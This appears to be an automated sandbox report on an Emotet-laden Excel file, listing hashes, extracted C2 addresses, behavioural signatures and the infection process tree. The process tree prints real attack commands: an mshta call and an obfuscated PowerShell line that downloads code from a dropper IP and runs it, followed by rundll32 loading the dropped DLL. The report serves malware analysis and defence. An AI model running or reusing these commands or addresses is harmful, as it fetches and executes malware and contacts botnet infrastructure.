emotet | 6c34bfd41238638109b1645b4a905388e046c01c74af482b61dc92e56b1bb2b4

General

Target

6c34bfd41238638109b1645b4a905388e046c01c74af482b61dc92e56b1bb2b4.xls
Size

155KB
MD5

877a38825398e9be7d9c3eaea352b392
SHA1

df43374b9233eaa46203a6875a6379d2e3960027
SHA256

6c34bfd41238638109b1645b4a905388e046c01c74af482b61dc92e56b1bb2b4
SHA512

3835a242494de6c5b67eb2c586599a7356d1c704e7518f69c51fb4a36d1e6c66bd86f5a94288fad6a98310302481f593348d173260dd6ad5dc535d04fbb8fcdf

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/qqqw/aaas/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/qqqw/aaas/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2256	2648	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 7 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

17 3316 mshta.exe
20 1912 powershell.exe
30 1912 powershell.exe
34 1912 powershell.exe
35 1912 powershell.exe
55 3264 rundll32.exe
56 3264 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

3584 rundll32.exe
3664 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Dphiccsckdmfcd\iezoxllwcy.omf rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3200 3316 WerFault.exe mshta.exe

flow	pid	process
17	3316	mshta.exe
20	1912	powershell.exe
30	1912	powershell.exe
34	1912	powershell.exe
35	1912	powershell.exe
55	3264	rundll32.exe
56	3264	rundll32.exe

pid	process
3584	rundll32.exe
3664	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Dphiccsckdmfcd\iezoxllwcy.omf	rundll32.exe

pid	pid_target	process	target process
3200	3316	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2648 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
1912	powershell.exe
1912	powershell.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
1912	powershell.exe
3264	rundll32.exe
3264	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 1912 powershell.exe
Token: SeDebugPrivilege 3200 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	1912	powershell.exe
Token: SeDebugPrivilege	3200	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2648 wrote to memory of 2256	2648	EXCEL.EXE	cmd.exe
PID 2648 wrote to memory of 2256	2648	EXCEL.EXE	cmd.exe
PID 2256 wrote to memory of 3316	2256	cmd.exe	mshta.exe
PID 2256 wrote to memory of 3316	2256	cmd.exe	mshta.exe
PID 3316 wrote to memory of 1912	3316	mshta.exe	powershell.exe
PID 3316 wrote to memory of 1912	3316	mshta.exe	powershell.exe
PID 1912 wrote to memory of 3612	1912	powershell.exe	cmd.exe
PID 1912 wrote to memory of 3612	1912	powershell.exe	cmd.exe
PID 3612 wrote to memory of 3584	3612	cmd.exe	rundll32.exe
PID 3612 wrote to memory of 3584	3612	cmd.exe	rundll32.exe
PID 3612 wrote to memory of 3584	3612	cmd.exe	rundll32.exe
PID 3584 wrote to memory of 3664	3584	rundll32.exe	rundll32.exe
PID 3584 wrote to memory of 3664	3584	rundll32.exe	rundll32.exe
PID 3584 wrote to memory of 3664	3584	rundll32.exe	rundll32.exe
PID 3664 wrote to memory of 1512	3664	rundll32.exe	rundll32.exe
PID 3664 wrote to memory of 1512	3664	rundll32.exe	rundll32.exe
PID 3664 wrote to memory of 1512	3664	rundll32.exe	rundll32.exe
PID 1512 wrote to memory of 3264	1512	rundll32.exe	rundll32.exe
PID 1512 wrote to memory of 3264	1512	rundll32.exe	rundll32.exe
PID 1512 wrote to memory of 3264	1512	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6c34bfd41238638109b1645b4a905388e046c01c74af482b61dc92e56b1bb2b4.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2648

C:\Windows\SYSTEM32\cmd.exe
cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2256

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/qqqw/aaas/se.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3316

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqqw/aaas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1912

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:3612

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3584

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3664

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Dphiccsckdmfcd\iezoxllwcy.omf",vDIZ
8⤵
- Suspicious use of WriteProcessMemory
PID:1512

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Dphiccsckdmfcd\iezoxllwcy.omf",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3264

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3316 -s 1652
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3200

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
709450435568cefded921b40de21446a

SHA1
b40851f1f572107372f709d54c16814fed28c2c2

SHA256
7b9ac942954b9ba2efe83ac0ec0b623c28cb4cbedd2b1d41e37b5da1b0c921a9

SHA512
1563b75f1cc4c0f6a2b986dcb4515b140e80f7e3c18d8d186c5e121f30f2850836209fd22aa8f02872189ece45a7da96f607118bbba807aa62b01f9758bb184a

Download Submit
\ProgramData\QWER.dll
MD5
709450435568cefded921b40de21446a

SHA1
b40851f1f572107372f709d54c16814fed28c2c2

SHA256
7b9ac942954b9ba2efe83ac0ec0b623c28cb4cbedd2b1d41e37b5da1b0c921a9

SHA512
1563b75f1cc4c0f6a2b986dcb4515b140e80f7e3c18d8d186c5e121f30f2850836209fd22aa8f02872189ece45a7da96f607118bbba807aa62b01f9758bb184a

Download Submit
\ProgramData\QWER.dll
MD5
709450435568cefded921b40de21446a

SHA1
b40851f1f572107372f709d54c16814fed28c2c2

SHA256
7b9ac942954b9ba2efe83ac0ec0b623c28cb4cbedd2b1d41e37b5da1b0c921a9

SHA512
1563b75f1cc4c0f6a2b986dcb4515b140e80f7e3c18d8d186c5e121f30f2850836209fd22aa8f02872189ece45a7da96f607118bbba807aa62b01f9758bb184a

Download Submit
memory/1512-607-0x00000000007B0000-0x00000000007D7000-memory.dmp

Filesize
156KB

Download
memory/1912-341-0x000001FF338A0000-0x000001FF338DC000-memory.dmp

Filesize
240KB

Download
memory/1912-360-0x000001FF33DB0000-0x000001FF33E26000-memory.dmp

Filesize
472KB

Download
memory/1912-504-0x000001FF1B466000-0x000001FF1B468000-memory.dmp

Filesize
8KB

Download
memory/1912-271-0x000001FF336F0000-0x000001FF33712000-memory.dmp

Filesize
136KB

Download
memory/1912-295-0x000001FF1B460000-0x000001FF1B462000-memory.dmp

Filesize
8KB

Download
memory/1912-296-0x000001FF1B463000-0x000001FF1B465000-memory.dmp

Filesize
8KB

Download
memory/2648-121-0x00007FF879910000-0x00007FF879920000-memory.dmp

Filesize
64KB

Download
memory/2648-124-0x00007FF879910000-0x00007FF879920000-memory.dmp

Filesize
64KB

Download
memory/2648-132-0x00007FF8760E0000-0x00007FF8760F0000-memory.dmp

Filesize
64KB

Download
memory/2648-131-0x00007FF8760E0000-0x00007FF8760F0000-memory.dmp

Filesize
64KB

Download
memory/2648-120-0x00007FF879910000-0x00007FF879920000-memory.dmp

Filesize
64KB

Download
memory/2648-119-0x00007FF879910000-0x00007FF879920000-memory.dmp

Filesize
64KB

Download
memory/2648-657-0x00007FF879910000-0x00007FF879920000-memory.dmp

Filesize
64KB

Download
memory/2648-656-0x00007FF879910000-0x00007FF879920000-memory.dmp

Filesize
64KB

Download
memory/2648-655-0x00007FF879910000-0x00007FF879920000-memory.dmp

Filesize
64KB

Download
memory/2648-654-0x00007FF879910000-0x00007FF879920000-memory.dmp

Filesize
64KB

Download
memory/2648-118-0x00007FF879910000-0x00007FF879920000-memory.dmp

Filesize
64KB

Download
memory/3264-622-0x0000000004FB0000-0x0000000004FD7000-memory.dmp

Filesize
156KB

Download
memory/3264-624-0x00000000050A0000-0x00000000050C7000-memory.dmp

Filesize
156KB

Download
memory/3264-632-0x00000000054E0000-0x0000000005507000-memory.dmp

Filesize
156KB

Download
memory/3264-610-0x0000000003080000-0x00000000030A7000-memory.dmp

Filesize
156KB

Download
memory/3264-612-0x0000000004990000-0x00000000049B7000-memory.dmp

Filesize
156KB

Download
memory/3264-620-0x0000000004ED0000-0x0000000004EF7000-memory.dmp

Filesize
156KB

Download
memory/3264-630-0x0000000005460000-0x0000000005487000-memory.dmp

Filesize
156KB

Download
memory/3264-628-0x0000000005270000-0x0000000005297000-memory.dmp

Filesize
156KB

Download
memory/3264-626-0x0000000005180000-0x00000000051A7000-memory.dmp

Filesize
156KB

Download
memory/3664-608-0x00000000058E0000-0x0000000005907000-memory.dmp

Filesize
156KB

Download
memory/3664-603-0x00000000056A0000-0x00000000056C7000-memory.dmp

Filesize
156KB

Download
memory/3664-605-0x0000000005700000-0x0000000005727000-memory.dmp

Filesize
156KB

Download
memory/3664-601-0x0000000005640000-0x0000000005667000-memory.dmp

Filesize
156KB

Download
memory/3664-599-0x0000000005560000-0x0000000005587000-memory.dmp

Filesize
156KB

Download
memory/3664-597-0x0000000005480000-0x00000000054A7000-memory.dmp

Filesize
156KB

Download
memory/3664-594-0x0000000003540000-0x0000000003567000-memory.dmp

Filesize
156KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads